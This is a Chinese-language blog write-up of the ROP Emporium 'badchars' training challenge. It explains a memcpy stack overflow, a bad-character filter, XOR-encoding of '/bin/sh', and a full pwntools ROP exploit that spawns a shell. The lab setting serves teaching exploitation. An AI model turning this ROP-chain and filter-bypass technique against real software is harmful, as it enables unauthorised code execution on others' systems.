ROP Emporium の badchars

Introduction

ROP Emporium训练4:badchars的解析。

badchars32

Step 1

程序正常运行截图:

可以看到运行时提示badchars,结合题目说明,可能这些字符串会被程序特殊处理。

checksec:32位程序,依然只开启了DEP保护

Step 2

将程序丢到IDA Pro中去(至于为什么没用hopper,只能说这题需要理解下程序,而hopper的伪代码不够C……),先看下main函数:

main函数聚焦在pwnme函数:

首先发现memcpy函数存在栈溢出漏洞,其次出现了两个函数nstrlen和checkBadchars:

nstrlen函数是当遇到0xa(ASII码10即’\n’)时就截断。

checkBadchars函数是遇到\x62(ASII码98即’b’)、\x69(ASII码105即’i’)、\x63(ASII码99即’c’)、\x2f(ASII码47即’/‘)、\x20(ASII码32即’‘)、\x66(ASII码102即’f’)、\x6e(ASII码110即’n’)、\x73(ASII码115即’s’)时将其替换成’-21’。

还发现程序中是存在system函数的,但是没有’/bin/sh’字符串。所以我们需要将需要的字符串写入内存,这样就会遇到’/’、’b’、’s’被过滤的情况。

为了解决这个情况,根据题目的提示,需要通过XOR(异或)对输入的字符串加密后输入然后再解密。

Step 3

顺着这个思路首先解决第一个问题,字符串写到哪里。看一下各个段的权限,下面的段是有写权限的:

.bss段是空的所以可以把字符串写在.bss段。

然后是第二个问题怎么实现异或,通过ROPgadget找一下:

果然在0x08048890这里存在这样一条XOR指令可以利用。通过这条指令我们可以将XOR后的’/bin/sh’字符串传入,通过这条指令解密后再作为system函数的参数。

接着是XOR值的选择,我们可以写个简单的脚本找一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
badchars = '\x62\x69\x63\x2f\x20\x66\x6e\x73'

sh_string = '/bin/sh\x00'

def xor(sh_str):
i = 0
for j in range(len(sh_str)):
tmp = chr(ord(sh_str[j]) ^ i)
if tmp in badchars:
i = i + 1
print i

xor(sh_string)

运行结果为2,即当’/bin/sh\x00’和2异或的时候不会出现被过滤的字符。

当然还需要找一个指令段帮助控制ebx和cl寄存器(32位的ecx寄存器分为两个16位的cx寄存器,cx寄存器再分成8位的ch和cl寄存器)的值,也通过ROPgadget找一下:

最后就是找两个指令段,分别辅助写入和控制寄存器:

图中标记的一对指令刚好满足条件。

Step 4

思路顺利之后就是写EXP了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
* from pwn import *
*
* sh = process('./badchars32')
* elf = ELF('./badchars32')
*
* sys_addr = elf.symbols['system']
* bss_addr = 0x0804a040
*
* xor_addr = 0x08048890
* #pop_ebx_addr = 0x08048461
* #pop_ecx_addr = 0x08048897
* pop_ebx_ecx_addr = 0x08048896
*
* mov_addr = 0x08048893
* pop_addr = 0x08048899
*
* shell = '/bin/sh\x00'
* xor_shell = ''
* for i in shell:
* xor_shell += chr(ord(i) ^ 2)
*
* payload = 'a' * (0x28 + 0x4)
* payload += p32(pop_addr) + xor_shell[0:4] + p32(bss_addr) + p32(mov_addr)
* payload += p32(pop_addr) + xor_shell[4:8] + p32(bss_addr + 4) + p32(mov_addr)
*
* for j in range(len(xor_shell)):
* #payload += p32(pop_ebx_addr)
* #payload += p32(bss_addr + j)
* #payload += p32(pop_ecx_addr)
* payload += p32(pop_ebx_ecx_addr)
* payload += p32(bss_addr + j)
* payload += p32(2)
* payload += p32(xor_addr)
*
* payload += p32(sys_addr) + p32(0xdeadbeef) + p32(bss_addr)
*
* sh.recvuntil('>')
* sh.sendline(payload)
*
* sh.interactive()
* sh.close()

注释掉的部分是在传入的XOR加密shellcode解密时候,将xor指令的传参分成两步进行,可是却无法正确getshell,希望有大佬可以解惑。

EXP运行结果:

badchars

64位程序和32位思路一样,传参的时候甚至更加简单,因为可以一次性将需要的字符串写入内存。

Tips

写入的字符串可以是’sh\x00\x00’,这样32位程序也可以实现一次性传参,前提是sh系统变量就是默认的’/bin/sh’命令。

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/06/05/badchars/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog